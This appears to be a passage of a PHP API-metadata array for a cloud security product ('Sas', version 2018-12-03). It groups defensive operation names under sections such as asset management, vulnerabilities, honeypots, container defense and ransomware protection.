'1.0', 'info' => [ 'style' => 'RPC', 'product' => 'Sas', 'version' => '2018-12-03', ], 'directories' => [ [ 'id' => 202600, 'title' => 'Custom Agent Upgrade', 'type' => 'directory', 'children' => [ 'ListPublishBatch', 'AddPublishBatch', 'UpdatePublishBatch', 'GetPublishCron', 'UpdatePublishGraySwitch', 'UpdatePublishCron', 'UpgradeVersionByUuids', 'UpdatePublishAutoUpgrade', ], ], [ 'id' => 202595, 'title' => 'Add Proxy', 'type' => 'directory', 'children' => [ 'UpdateHybridProxy', 'ModifyHybridProxyCluster', 'ModifyHybridProxyPolicy', 'UnBindHybridProxy', 'DescribeHybridProxyPolicy', 'DescribeHybridProxyList', 'DescribeHybridProxyClusterList', 'DescribeHybridProxyLinkedClientList', 'DeleteHybridProxyCluster', 'DeleteHybridProxy', 'CreateHybridProxyCluster', 'BindHybridProxy', 'DescribeDefaultProxyInstallVersion', 'InstallHybridProxy', ], ], [ 'id' => 194878, 'title' => 'Security Report', 'type' => 'directory', 'children' => [ 'DescribeCustomizeReportList', 'DescribeReportExport', 'CopyCustomizeReportConfig', 'DescribeChartList', 'DescribeReportRecipientStatus', ], ], [ 'id' => 194606, 'title' => 'Application Whitelist', 'type' => 'directory', 'children' => [ 'ModifyProcessWhiteList', 'UpdateWhiteListStrategyStatus', 'SaveWhiteListStrategyAssets', 'SaveWhiteListStrategy', 'DescribeWhiteListStrategyUuidCount', 'DescribeWhiteListStrategyStatistics', 'DescribeWhiteListStrategyList', 'DescribeWhiteListProcess', 'DescribeWhiteListEffectiveAssets', 'DescribeWhiteListAuthorize', 'DescribeWhiteListAsset', ], ], [ 'id' => 186072, 'title' => 'Agentless Detection', 'type' => 'directory', 'children' => [ 'DeleteMaliciousFileWhitelistConfig', 'BatchDeleteMaliciousFileWhitelistConfig', 'UpdateMaliciousFileWhitelistConfig', 'BatchUpdateMaliciousFileWhitelistConfig', 'CreateMaliciousFileWhitelistConfig', 'GetMaliciousFileWhitelistConfig', 'ListMaliciousFileWhitelistConfigs', 'CreateAgentlessScanTask', 'DeleteMaliciousNote', 'CreateMaliciousNote', 'ListAgentlessMaliciousFiles', 'RetryAgentlessTask', 'ListAgentlessRelateMalicious', 'ListAgentlessRegion', 'ListAgentlessTask', 'GetAgentlessTaskCount', 'ListAgentlessRiskUuid', ], ], [ 'id' => 186028, 'title' => 'Core File Monitoring', 'type' => 'directory', 'children' => [ 'ListFileProtectPluginStatus', 'UpdateFileProtectEventStatus', 'GetFileProtectDashboard', 'ListFileProtectEvent', 'DeleteFileProtectRule', 'GetFileProtectEventCount', 'UpdateFileProtectRemark', 'GetFileProtectEvent', 'UpdateFileProtectRule', 'ListFileProtectRule', 'CreateFileProtectRule', 'GetFileProtectRule', ], ], [ 'id' => 186041, 'title' => 'Alarm Settings', 'type' => 'directory', 'children' => [ 'ListClientAlertMode', 'UpdateClientAlertMode', ], ], [ 'id' => 185708, 'title' => 'Proactive Defense for Containers', 'type' => 'directory', 'children' => [ [ 'id' => 187412, 'title' => 'Non-Mirror Program Defense', 'type' => 'directory', 'children' => [ 'ListContainerDefenseRuleClusters', 'ListContainerDefenseRule', 'GetContainerDefenseRuleDetail', 'ModifyContainerDefenseRule', 'ModifyContainerDefenseRuleSwitch', 'DeleteContainerDefenseRule', 'AddContainerDefenseRule', ], ], [ 'id' => 187413, 'title' => 'Risk mirror blocking', 'type' => 'directory', 'children' => [ 'ListOpaClusterStrategyNew', 'CreateOpaStrategyNew', 'GetOpaStrategyDetailNew', 'UpdateOpaStrategyNew', 'DeleteOpaStrategyNew', 'GetOpaStrategyTemplateSummary', 'CreateOpaClusterPlugin', 'GetOpaPluginStatus', 'GetOpaClusterLabelList', 'GetStrategyTemplateDetail', 'ListCriteriaStrategy', 'GetOpaClusterImageList', 'GetOpaClusterNamespaceList', 'GetOpaClusterBaseLineList', 'ListImageBuildRiskItem', 'DescribeMatchedMaliciousNames', ], ], [ 'id' => 195248, 'title' => 'Container Escape Prevention', 'type' => 'directory', 'children' => [ 'ListAegisContainerPluginRule', ], ], ], ], [ 'id' => 195249, 'title' => 'Container File Protection', 'type' => 'directory', 'children' => [ 'ListSasContainerWebDefenseRule', 'GetSasContainerWebDefenseRule', 'OperateSwitchStatus', 'AddSasContainerWebDefenseRule', 'ModifySasContainerWebDefenseRule', 'GetSasContainerWebDefenseRuleApplication', ], ], [ 'id' => 177731, 'title' => 'Container firewall', 'type' => 'directory', 'children' => [ 'ModifyClusterCnnfStatusUserConfirm', 'GetInterceptionSummary', 'ListInterceptionTargetPage', 'ListRuleTargetAll', 'SetClusterInterceptionConfig', 'ModifyInterceptionTarget', 'ListClusterInterceptionConfig', 'ListClusterCnnfStatusDetail', 'ModifyInterceptionRule', 'ModifyInterceptionRuleSwitch', ], ], [ 'id' => 68078, 'title' => 'Agent client', 'type' => 'directory', 'children' => [ 'GetClientRatioStatistic', 'ModifyClientConfStrategy', 'DescribeClientConfStrategy', 'ModifyClientConfSetup', 'DescribeClientConfSetup', 'DescribeInstallCode', 'DeleteInstallCode', 'ListPluginForUuid', 'AddInstallCode', 'OperateAgentClientInstall', 'PauseClient', 'UnbindAegis', 'DescribeAgentInstallStatus', 'DescribeVendorList', 'DescribeInstallCaptcha', 'SasInstallCode', 'DescribeInstallCodes', 'ListUninstallAegisMachines', 'DescribeClientProblemType', ], ], [ 'id' => 168832, 'title' => 'Asset management', 'type' => 'directory', 'children' => [ 'DeleteSearchCondition', 'StartIdcProbeScan', 'ModifySearchCondition', 'GetAssetDetailByUuid', 'DescribeGroupStruct', 'ListCloudAssetInstances', 'DescribeImageInfoList', 'DescribeLogShipperStatus', 'AddUninstallClientsByUuids', 'AddTagWithUuid', 'GetCloudAssetSummary', 'GetCloudAssetDetail', 'ModifyAssetImportant', 'ModifyGroupProperty', 'DescribeOfflineMachines', 'CheckUserHasEcs', 'CreateOrUpdateAssetGroup', 'RefreshAssets', 'DeleteGroup', 'DeleteTagWithUuid', 'DeleteLoginBaseConfig', 'ModifyTagWithUuid', 'ModifyLoginSwitchConfig', 'ModifyLoginBaseConfig', 'ModifyPushAllTask', 'DescribeAssetDetailByUuid', 'DescribeGroupedInstances', 'QueryGroupIdByGroupName', 'DescribeAssetSummary', 'DescribeAllEntity', 'DescribeFieldStatistics', 'DescribeGroupedTags', 'DescribeAllGroups', 'DescribeInstanceStatistics', 'DescribeCloudProductFieldStatistics', 'DescribeDomainCount', 'DescribeDomainList', 'DescribeDomainDetail', 'DescribeCloudCenterInstances', 'DescribeSummaryInfo', 'DescribeSearchCondition', 'DescribeCriteria', 'DescribeVpcList', 'DescribeAssetDetailByUuids', 'DescribeImageStatistics', 'DescribeContainerStatistics', 'ModifyAssetGroup', 'InstallCloudMonitor', 'DescribeSasPmAgentList', 'ListAssetCleanConfig', 'ModifyAssetCleanConfig', 'ListAssetRefreshTaskConfig', 'ChangeAssetRefreshTaskConfig', 'ListCloudVendorRegions', 'AddCloudVendorAccountAK', 'DeleteCloudVendorAccountAK', 'DescribeCloudVendorAccountAKList', 'DescribeCloudVendorTrialConfig', 'ModifyCloudVendorTrialConfig', 'ModifyCloudVendorAccountAK', 'AddCloudVendorTrialConfig', 'GetLocalDefaultRegion', 'SetSyncRefreshRegion', 'GetSupportedModules', ], ], [ 'id' => 168833, 'title' => 'Asset fingerprints', 'type' => 'directory', 'children' => [ 'DescribeAssetsScaProcessNum', 'DescribePropertyUsageTop', 'DescribePropertyScaProcessDetail', 'GetPropertyScheduleConfig', 'GetAssetsPropertyItem', 'GetAssetsPropertyDetail', 'DescribePropertyTypeScaItem', 'DescribePropertyCronItem', 'DescribePropertyScaItem', 'DescribePropertyCronDetail', 'DescribePropertyCount', 'DescribePropertyPortDetail', 'DescribePropertyProcDetail', 'DescribePropertyPortItem', 'DescribePropertyProcItem', 'DescribePropertySoftwareDetail', 'DescribePropertySoftwareItem', 'DescribePropertyUserDetail', 'DescribePropertyUserItem', 'DescribeModuleConfig', 'DescribePropertyScaDetail', 'ModifyPropertyScheduleConfig', 'DescribePropertyScheduleConfig', ], ], [ 'id' => 168834, 'title' => 'Security score', 'type' => 'directory', 'children' => [ 'GetSecurityScoreRule', 'ChangeSecurityScoreRule', 'DescribeSecureSuggestion', ], ], [ 'id' => 168835, 'title' => 'Asset exposure analysis', 'type' => 'directory', 'children' => [ 'DescribeExposedInstanceCriteria', 'DescribeExposedInstanceDetail', 'DescribeExposedInstanceList', 'DescribeExposedStatistics', 'DescribeExposedStatisticsDetail', ], ], [ 'id' => 168836, 'title' => 'Container management', 'type' => 'directory', 'children' => [ 'ListUuidsByAppId', 'ListMachineApps', 'DescribeContainerTags', 'DescribeAssetsSecurityEventSummary', 'DescribeImage', 'DescribeClusterInfoList', 'DescribeContainerCriteria', 'DescribeContainerInstances', 'DescribeImageCriteria', 'DescribeImageInstances', 'DescribeImageRepoDetailList', 'DescribeImageRepoCriteria', 'GetClusterSuspEventStatistics', 'GetClusterCheckItemWarningStatistics', 'DescribeGroupedContainerInstances', 'RefreshContainerAssets', ], ], [ 'id' => 177308, 'title' => 'Container visualization', 'type' => 'directory', 'children' => [ 'DescribeClusterNetwork', 'FindContainerNetworkConnect', ], ], [ 'id' => 168837, 'title' => 'Image security scans', 'type' => 'directory', 'children' => [ 'UpdateWhiteList', 'GetRegistryScanDayNum', 'GetDockerhubImageRiskStatistic', 'ListImageRegistryExtra', 'RefreshRegistryToken', 'SetBuildRiskDefineRuleConfig', 'GetBuildRiskDefineRuleConfig', 'ListPrivateRegistryType', 'ListPrivateRegistryList', 'DescribeCountNotScannedImage', 'GetImageScanNumInPeriod', 'SetRegistryScanDayNum', 'SaveImageBaselineStrategy', 'OperateImageBaselineWhitelist', 'DescribeImageBaselineStrategy', 'DescribeImageBaselineItemList', 'DescribeImageBaselineDetail', 'DescribeImageBaselineCheckResult', 'DescribeAllImageBaseline', 'DescribeImageListBySensitiveFile', 'OpenSensitiveFileScan', 'DescribeImageSensitiveFileList', 'DescribeImageSensitiveFileByKey', 'DescribeAffectedMaliciousFileImages', 'DescribeGroupedMaliciousFiles', 'DescribeImageVulList', 'DescribeImageGroupedVulList', 'DescribeImageListWithBaselineName', 'DescribeImageFixTask', 'DescribeImageScanAuthCount', 'DescribeImageBaselineCheckSummary', 'PublicPreCheckImageScanTask', 'PublicCreateImageScanTask', 'PublicSyncAndCreateImageScanTask', 'DescribeCountScannedImage', ], ], [ 'id' => 168838, 'title' => 'Configuration Assessment', 'type' => 'directory', 'children' => [ 'CreateCheckPolicy', 'CreateCheckItem', 'DeleteCheckItem', 'ListCheckItems', 'UpdateCheckPolicy', 'GetCheckSale', 'ModifyCheckRule', 'VerifyCheckInstanceResult', 'VerifyCheckResult', 'GetCloudAssetCriteria', 'RemoveCheckResultWhiteList', 'AddCheckResultWhiteList', 'RemoveCheckInstanceResultWhiteList', 'AddCheckInstanceResultWhiteList', 'GetCheckSummary', 'ListInstanceCatalog', 'GetCheckProcess', 'SubmitCheck', 'ChangeCheckConfig', 'GetCheckConfig', 'GetCheckDetail', 'GetCheckCountStatistic', 'GetCheckTimeDimensionStatistic', 'ListCheckInstanceResult', 'ListCheckResult', 'ListCheckStandard', 'ListCheckItem', 'StartBaselineSecurityCheck', 'ModifySecurityCheckScheduleConfig', 'DescribeRiskItemType', 'DescribeRiskCheckSummary', 'DescribeRiskCheckResult', 'DescribeSecurityCheckScheduleConfig', 'DescribeRiskCheckItemResult', 'DescribeRiskListCheckResult', 'ListCheckRule', 'ListCheckRuleInstance', 'ListOperationCheck', 'ListOperationTask', 'VerifyCheckCustomConfig', 'ChangeCheckCustomConfig', 'ListCheckPolicies', 'UpdateCheckItem', 'DeleteCheckPolicy', ], ], [ 'id' => 168839, 'title' => 'Protection against ransomware', 'type' => 'directory', 'children' => [ 'DeleteBackupSnapshot', 'CreateRestoreJob', 'UninstallUniBackupAgent', 'StartPreCheckDatabase', 'StartDiscoverDatabaseTask', 'QueryPreCheckDatabase', 'QueryDiscoverDatabase', 'ModifyUniBackupPolicy', 'InstallUniBackupAgent', 'DescribeUniSupportRegion', 'DescribeUniRecoverableList', 'DescribeUniBackupPolicyDetail', 'DescribeUniBackupPolicies', 'DescribeUniBackupDatabase', 'DescribeRestorePlans', 'DeleteUniBackupPolicy', 'CreateUniRestorePlan', 'CreateUniBackupPolicy', 'DescribeSnapshots', 'DescribeBackupMachineStatus', 'UpgradeBackupPolicyVersion', 'DescribeExcludeSystemPath', 'DescribeBackupPolicy', 'CreateBackupPolicy', 'InstallBackupClient', 'GetBackupStorageCount', 'DescribeBackupClients', 'DescribeBackupPolicies', 'DescribeBackupFiles', 'DescribeSupportRegion', 'DescribeUserBackupMachines', 'DescribeRestoreJobs', 'DescribeBackupRestoreCount', 'ModifyBackupPolicyStatus', 'ModifyBackupPolicy', 'DeleteBackupPolicyMachine', 'DeleteBackupPolicy', 'UninstallBackupClient', ], ], [ 'id' => 168840, 'title' => 'Tamper protection', 'type' => 'directory', 'children' => [ 'DescribeWebLockStatus', 'DescribeWebLockFileEvents', 'ModifyWebLockDeleteConfig', 'ModifyWebLockCreateConfig', 'ModifyWebLockUpdateConfig', 'ModifyWebLockStart', 'DescribeWebLockConfigList', 'DescribeWebLockBindList', 'ModifyWebLockStatus', 'ModifyWebLockUnbind', 'OperateWebLockFileEvents', 'ModifyWebLockProcessStatus', 'JoinWebLockProcessWhiteList', 'DescribeWebLockTotalFileChangeCount', 'DescribeWebLockProcessList', 'DescribeWebLockProcessBlockStatistics', 'DescribeWebLockInclusiveFileType', 'DescribeWebLockFileTypeSummary', 'DescribeWebLockFileChangeStatistics', 'DescribeWebLockExclusiveFileType', ], ], [ 'id' => 168842, 'title' => 'Virus detection', 'type' => 'directory', 'children' => [ 'DescribeSuspiciousUUIDConfig', 'StartVirusScanTask', 'DescribeLatestScanTask', 'CreateVirusScanOnceTask', 'ListVirusScanMachine', 'GetVirusScanLatestTaskStatistic', 'ListVirusScanMachineEvent', 'ListVirusScanTask', 'GetVirusScanConfig', 'DescribeScanTaskProgress', 'OperateSuspiciousTargetConfig', 'OperateVirusEvents', ], ], [ 'id' => 168843, 'title' => 'Alerts', 'type' => 'directory', 'children' => [ 'DescribeGraph4InvestigationOnline', 'DescribeSecurityEventMarkMissList', 'DeleteSecurityEventMarkMissList', 'ExportSuspEvents', 'DeleteSuspEventNode', 'AdvanceSecurityEventOperations', 'DescribeBackUpExportInfo', 'DescribeLoginSwitchConfigs', 'DescribeWebPath', 'ListUuidsByWebPath', 'ModifyWebPath', 'GetAlarmMachineCount', 'DescribeSuspEventExportInfo', 'DescribeNsasSuspEventType', 'DescribeAlarmEventStackInfo', 'HandleMaliciousFiles', 'DescribeStrictEventName', 'UpdateStrictEventName', 'CreateSuspEventNote', 'QueryGroupedSecurityEventMarkMissList', 'OperationCancelIgnoreSuspEvent', 'CreateSimilarSecurityEventsQueryTask', 'DescribeAlarmEventDetail', 'DescribeSuspEvents', 'DescribeSuspEventDetail', 'DescribeSecurityEventOperations', 'DescribeSimilarSecurityEvents', 'DescribeSuspEventQuaraFiles', 'DescribeSecurityEventOperationStatus', 'DescribeSimilarEventScenarios', 'DescribeSecurityStatInfo', 'DescribeLoginBaseConfigs', 'GetSuspiciousStatistics', 'CheckSecurityEventId', 'DescribeAttackAnalysisData', 'HandleSimilarSecurityEvents', 'RollbackSuspEventQuaraFile', 'HandleSecurityEvents', 'OperationSuspEvents', ], ], [ 'id' => 168844, 'title' => 'Brute-force attacks protection', 'type' => 'directory', 'children' => [ 'ModifyCustomBlockRecord', 'EnableCustomBlockRecord', 'EnableBruteForceRecord', 'DisableBruteForceRecord', 'DisableCustomBlockRecord', 'DescribeBruteForceRecords', 'DeleteCustomBlockRecord', 'CreateCustomBlockRecord', 'CreateAntiBruteForceRule', 'ModifyAntiBruteForceRule', 'ModifyInstanceAntiBruteForceRule', 'DescribeBruteForceSummary', 'DescribeInstanceAntiBruteForceRules', 'DescribeAntiBruteForceRules', 'DeleteAntiBruteForceRule', ], ], [ 'id' => 168845, 'title' => 'Vulnerabilities', 'type' => 'directory', 'children' => [ 'ListVulGlobalConfig', 'ModifyRefreshProcessInfo', 'OperateImageVul', 'ModifyVulTarget', 'ModifyVulConfig', 'ModifyConcernNecessity', 'ModifyAutoDelConfig', 'ModifyAppVulScanCycle', 'DescribeVulTargetStatistics', 'DescribeVulTargetConfig', 'DescribeVulNumStatistics', 'DescribeVulListPage', 'DescribeVulCheckTaskStatusDetail', 'DescribeTaskErrorLog', 'DescribeTarget', 'DescribeMachineCanReboot', 'DescribeEmgUserAgreement', 'DescribeClusterVulStatistics', 'DescribeAppVulScanCycle', 'DescribeVulConfig', 'DescribeVulFixStatistics', 'DescribeUuidsByVulNames', 'ListVulAutoRepairConfig', 'CreateVulAutoRepairConfig', 'DescribeInstanceRebootStatus', 'RebootMachine', 'ModifyVulTargetConfig', 'ModifyStartVulScan', 'ModifyEmgVulSubmit', 'ModifyCreateVulWhitelist', 'GetVulWhitelist', 'DeleteVulWhitelist', 'ModifyOperateVul', 'DescribeVulList', 'DescribeEmgVulItem', 'DescribeGroupedVul', 'DescribeAutoDelConfig', 'DescribeConcernNecessity', 'DescribeVulDetails', 'DescribeVulWhitelist', 'ExportVul', 'DescribeVulExportInfo', 'OperateVuls', 'GetVulStatistics', 'ModifyVulWhitelistTarget', 'DescribeFrontVulPatchList', ], ], [ 'id' => 168846, 'title' => 'Baselines', 'type' => 'directory', 'children' => [ 'ListBaselineCheckWhiteRecord', 'ListCheckItemWarningSummary', 'ListCheckItemWarningMachine', 'DescribeWarningExportInfo', 'DescribeHcExportInfo', 'DescribeRisks', 'DescribeCheckWarningMachines', 'DescribeCheckFixDetails', 'IgnoreCheckItems', 'DescribeExposedCheckWarning', 'GetCheckRiskStatistics', 'ModifyStrategy', 'ModifyStrategyTarget', 'DescribeCheckWarningSummary', 'DescribeRiskType', 'DescribeCheckWarnings', 'DescribeCheckWarningDetail', 'DescribeWarningMachines', 'DescribeStrategyExecDetail', 'DescribeCheckEcsWarnings', 'DescribeUserBaselineAuthorization', 'DescribeStrategyDetail', 'ExportWarning', 'DescribeStrategy', 'DescribeStrategyTarget', 'DeleteStrategy', 'ValidateHcWarnings', 'FixCheckWarnings', 'AddBaselineCheckWhiteRecord', 'IgnoreHcCheckWarnings', 'DescribeCustomizedStrategyTargets', 'ListCheckTypes', 'CreateDynamicDict', 'UpdateBaselineCheckWhiteRecord', 'DeleteCustomizedDict', 'DescribeDefaultKeyInfo', 'CreateUserSetting', 'ExecStrategy', 'DeleteBaselineCheckWhiteRecord', ], ], [ 'id' => 168847, 'title' => 'AccessKey Leak Detection', 'type' => 'directory', 'children' => [ 'ModifyAccessKeyLeakDeal', 'DescribeAccesskeyLeakList', 'DescribeAccessKeyLeakDetail', ], ], [ 'id' => 168848, 'title' => 'Honey', 'type' => 'directory', 'children' => [ 'DeleteHoneypotProbeBind', 'GetHoneypotAttackStatistics', 'GetHoneypotStatistics', 'ListAvailableHoneypot', 'CreateHoneypotNode', 'UpdateHoneypotNode', 'ListHoneypotNode', 'DeleteHoneypotNode', 'GetHoneypotNode', 'CreateHoneypot', 'UpdateHoneypot', 'DeleteHoneypot', 'ListHoneypot', 'CreateHoneypotPreset', 'UpdateHoneypotPreset', 'GetHoneypotPreset', 'ListHoneypotPreset', 'CreateHoneypotProbe', 'DeleteHoneypotProbe', 'UpdateHoneypotProbe', 'ListHoneypotProbe', 'GetHoneypotProbe', 'ListHoneypotAlarmEvents', 'DeleteHoneypotPreset', 'AddVpcHoneyPot', 'DeleteVpcHoneyPot', 'ModifyVpcHoneyPot', 'DescribeHoneyPotAuth', 'DescribeHoneyPotSuspStatistics', 'DescribeVpcHoneyPotCriteria', 'DescribeVpcHoneyPotList', ], ], [ 'id' => 168849, 'title' => 'Log analysis', 'type' => 'directory', 'children' => [ 'GetLogMeta', 'GetUserLang', 'ChangeUserLang', 'ModifyLogMetaStatus', 'DescribeLogMeta', 'ModifyOpenLogShipper', 'DescribeLogstoreStorage', 'ModifyClearLogstoreStorage', ], ], [ 'id' => 168850, 'title' => 'Notifications', 'type' => 'directory', 'children' => [ 'DingTalkOnlineTest', 'DeleteDingTalk', 'ModifyDingTalkStatus', 'CreateOrUpdateDingTalk', 'ModifyNoticeConfig', 'DescribeDingTalk', 'DescribeNoticeConfig', 'DescribeDataSource', ], ], [ 'id' => 169922, 'title' => 'Setting', 'type' => 'directory', 'children' => [ 'CreateOrUpdateAutoTagRule', 'ListAutoTagRules', 'DeleteAutoTagRules', 'IgnoreIdcProbeScanResult', 'AddIdcProbe', 'DeleteIdcProbe', 'ModifyIdcProbe', 'DescribeCommonOverallConfigList', 'DescribeCommonTargetConfig', 'BatchOperateCommonOverallConfig', 'DescribeCommonTargetResultList', 'OperateSuspiciousOverallConfig', 'OperateCommonOverallConfig', 'DescribeCommonOverallConfig', 'OperateCommonTargetConfig', 'DescribeSuspiciousOverallConfig', ], ], [ 'id' => 168851, 'title' => 'Export check results', 'type' => 'directory', 'children' => [ 'DescribeExportInfo', 'ExportRecord', ], ], [ 'id' => 168852, 'title' => 'Service-linked roles', 'type' => 'directory', 'children' => [ 'CreateServiceLinkedRole', 'DescribeServiceLinkedRoleStatus', ], ], [ 'id' => 168853, 'title' => 'File detect', 'type' => 'directory', 'children' => [ 'GetFileDetectApiInvokeInfo', 'CreateFileDetectUploadUrl', 'CreateFileDetect', 'GetFileDetectResult', 'ListCompressFileDetectResult', ], ], [ 'id' => 187060, 'title' => 'Malicious file detection OSS', 'type' => 'directory', 'children' => [ 'DeleteOssScanConfig', 'ListOssScanConfig', 'CreateOssBucketScanTask', 'GetObjectScanEvent', 'ListObjectScanEvent', 'OperateBucketScanTask', 'GetOssBucketScanStatistic', 'ListOssBucketScanInfo', 'UpdateOssScanConfig', 'ListOssBucket', 'CreateOssScanConfig', 'ListSupportObjectSuffix', 'RefreshOssBucketScanInfo', 'GetOssScanConfig', ], ], [ 'id' => 177312, 'title' => 'Client Mission Management', 'type' => 'directory', 'children' => [ 'CreateCycleTask', 'GenerateOnceTask', 'DeleteCycleTask', 'ModifyCycleTask', 'CancelOnceTask', 'DescribeOnceTask', 'DescribeCycleTaskList', 'GetOnceTaskResultInfo', 'GetLastOnceTaskInfo', 'DescribeOnceTaskLeafRecordPage', ], ], [ 'id' => 177317, 'title' => 'Malicious Behavior Defense', 'type' => 'directory', 'children' => [ 'ListSystemRuleAggregationTypes', 'ListClientUserDefineRules', 'ListSystemClientRuleTypes', 'ListSystemClientRules', 'ListSystemAggregationRules', 'ModifyClientUserDefineRule', 'ListClientUserDefineRuleTypes', 'GetRulesCount', 'GetClientUserDefineRule', 'DeleteClientUserDefineRule', 'AddClientUserDefineRule', ], ], [ 'id' => 182250, 'title' => 'Asset Selection', 'type' => 'directory', 'children' => [ 'UpdateSelectionKeyByType', 'CreateAssetSelectionConfig', 'ListAssetSelectionSelectedTarget', 'ListAssetSelectionTarget', 'GetAssetSelectionConfig', 'AddAssetSelectionCriteria', ], ], [ 'id' => 194452, 'title' => 'Playbook', 'type' => 'directory', 'children' => [ 'CreateSoarStrategyTask', 'DeleteSoarStrategyTask', 'DescribeSoarStrategies', 'DescribeSoarStrategyParam', 'DescribeSoarStrategyTaskDetail', 'DescribeSoarStrategyTasks', 'ModifySoarStrategySubscribe', 'DescribeSoarSubscribedStrategy', 'DescribeSyncAssetTaskList', 'DescribeSyncAssetTaskLogDetail', 'DescribeSoarPlaybookTaskDetail', 'DescribeSoarStrategyTaskParams', 'ProcessSoarStrategyTask', 'DescribeSoarStrategyTaskResult', ], ], [ 'id' => 195607, 'title' => 'Website Security', 'type' => 'directory', 'children' => [ 'DescribeDomainSecureVulList', 'DescribeDomainSecureRiskList', 'DescribeDomainSecureAlarmList', 'DescribeDomainSecureStatistics', 'DescribeDomainSecureScore', ], ], [ 'id' => 195628, 'title' => 'Attack Analysis', 'type' => 'directory', 'children' => [ 'GetAttackTypeList', ], ], [ 'id' => 371452, 'title' => 'Billing', 'type' => 'directory', 'children' => [ 'GetAuthSummary', 'GetServerlessAuthSummary', 'GetServerlessAppAuthDetail', 'DescribeVersionConfig', 'ModifyPostPayModuleSwitch', 'UpdatePostPaidBindRel', 'BindAuthToMachine', ], ], [ 'id' => 168854, 'title' => 'Other', 'type' => 'directory', 'children' => [ 'GetModuleConfigStatus', 'FinishGuidTask', 'DescribeVolDingdingMessage', 'DescribeAllRegionsStatistics', 'InstallPmAgent', 'GetModuleConfig', 'DescribeClusterBasicInfo', 'DescribeQuaraFileDownloadInfo', 'DescribeAffectedAssets', 'DescribeEventOnStage', 'DescribeScanTaskStatistics', 'DescribeSuspEventUserSetting', 'DescribeTraceInfoNode', 'DescribeTraceInfoDetail', 'DescribeEventLevelCount', 'SaveSuspEventUserSetting', 'ConfirmVirusEvents', 'ModifySecurityEventMarkMissIndividually', 'CreateContainerScanTask', 'DescribeTotalStatistics', 'DescribeImageLatestScanTask', 'DescribeImageRepoList', 'CreateJenkinsImageRegistry', 'PageImageRegistry', 'QueryJenkinsImageRegistryPersistenceDay', 'UpdateJenkinsImageRegistryName', 'UpdateJenkinsImageRegistryPersistenceDay', 'GetInterceptionTargetDetail', 'DeleteInterceptionRule', 'DeleteInterceptionTarget', 'DescribeCustomBlockRecords', 'ListInterceptionRulePage', 'ListInterceptionHistory', 'CreateInterceptionRule', 'CreateInterceptionTarget', 'GetInterceptionRuleDetail', 'ListImageRegistryRegion', 'GetAppNetwork', 'AddPrivateRegistry', 'DeletePrivateRegistry', 'GetClusterRuleSummary', 'ListPodRisk', 'ListImageRisk', 'DeleteServiceTrail', 'GetServiceTrail', 'CreateServiceTrail', 'DeleteBinarySecurityPolicy', 'DescribeMonitorAccounts', 'AddImageVulWhiteList', 'DescribeImageVulWhiteList', 'QueryAttackCount', 'GetSwitchRegionDetail', 'GetAuthVersionStatistic', 'UpdateImageVulWhitelistTarget', 'DeleteImageVulWhitelist', 'DescribeContainerScanConfig', 'ModifyContainerScanConfig', 'DescribeCanFixVulList', 'ModifyImageFixCycleConfig', 'DescribeImageFixCycleConfig', 'CreateContainerScanTaskByAppName', 'GetCommonSwitchConfig', 'CreateHoneypotProbeBind', 'ListHoneypotProbeUuid', 'StopHoneypot', 'UpdateHoneypotProbeBind', 'ListHoneypotEvents', 'UpdateAlarmEvent', 'RetryInstallProbe', 'ListHoneypotAttackerPortrait', 'GetHoneypotEventTrend', 'ListHoneypotAttackerSource', 'UpdateCommonSwitchConfig', 'CreateFileUploadLimit', 'GetFileUploadLimit', 'UpdateFileUploadLimit', 'GetFileDetectReport', 'DescribeImageEventOperationPage', 'GetImageEventOperation', 'DescribeImageEventOperationCondition', 'UpdateImageEventOperation', 'DeleteImageEventOperation', 'SetSensitiveDefineRuleConfig', 'SetImageSensitiveFileStatus', 'AddImageEventOperation', 'GetSensitiveDefineRuleConfig', 'GetHoneypotNodeMetricList', 'GetAegisContainerPluginRuleCriteria', 'OperateApplication', 'GetSasContainerWebDefenseRuleCriteria', 'DescribeContainerApps', 'ListGroups', 'ListInstanceRiskNum', 'ListInstanceRiskLevels', 'GetModuleTrialAuthInfo', 'AddSasModuleTrial', 'EnableCustomInstanceBlockRecord', 'DescribeCustomBlockInstances', 'GetHoneyPotUploadPolicyInfo', 'UploadedHoneyPotFile', 'ListHoneypotEventFlows', 'ModifyImageRegistry', 'DeleteK8sAccessInfo', 'AddContainerPluginRule', 'DeleteContainerPluginRule', 'ModifyContainerPluginRule', 'DeleteSasContainerWebDefenseRule', 'ListK8sAccessInfo', 'GenerateK8sAccessInfo', 'ListClusterPluginInfo', 'MarkMonitorAccounts', 'UnMarkMonitorAccounts', 'GetClusterStrategyCount', 'ListUnfinishedOnceTask', 'ListBackupRecord', 'ResetHoneypot', 'StartHoneypot', 'DeleteVulAutoRepairConfig', 'DescribeFixUsedCount', 'CreateAttestor', 'CreateBinarySecurityPolicy', 'DeleteAttestor', 'DescribeAttestors', 'DescribeBinarySecurityPolicies', 'DescribeClusterHostSecuritySummary', 'DescribeClusterImageSecuritySummary', 'DescribeContainerServiceK8sClusters', 'DescribeCustomizedDictUploadInfo', 'CheckStsTokenAuth', 'DescribeVulDefendCountStatistics', 'DescribeVulMetaCountStatistics', 'CreateCustomizedDict', 'DescribeContainerFieldStatistics', 'DescribeContainerGroupedFieldDetail', 'DescribeContainerServiceK8sClusterKritisStatus', 'DescribeContainerServiceK8sClusterNamespaces', 'CreateJenkinsImageScanTask', 'UpgradeHoneypotNode', 'QueryGuidTaskList', 'CreateSasTrial', 'GetCanTrySas', 'ReceiveFunctionTrialRewardByAliUid', 'DescribeAgentlessSensitiveFileByKey', 'GetCheckStructure', 'DescribeDynamicDictUploadInfo', 'DeleteCustomizeReport', 'DescribeCustomizeReportConfigDetail', 'DescribeDynamicDict', 'DescribeIdcProbeScanResultList', 'DescribeSupervisonInfo', 'ExportCustomizeReport', 'GenerateDynamicDict', 'GetDefenceCount', 'OperationCustomizeReportChart', 'SaveCustomizeReportConfig', 'SendCustomizeReport', 'UpdateCustomizeReportStatus', 'DescribeUniBackupStatistics', 'DescribeUserSetting', 'GetDataTrend', 'ResetLogShipper', 'ListLogShipperRegions', 'UpdateTargetListByBatch', 'DescribeScreenScoreThread', 'DescribeChartData', 'OpenBackupAutoConfig', 'GetBackupAutoConfigStatus', 'GetAegisContainerPluginRule', 'SubmitOperationTask', 'CheckTrialFixCount', 'CreateMonitorAccount', 'DeleteMonitorAccount', 'EnableServiceAccessResourceDirectory', 'ListAccountsInResourceDirectory', 'ModifyWebLockRefresh', 'DescribeCheckResult', 'TriggerCheck', 'CreateRdDefaultSyncList', 'ListRdDefaultSyncList', 'GetRdTree', 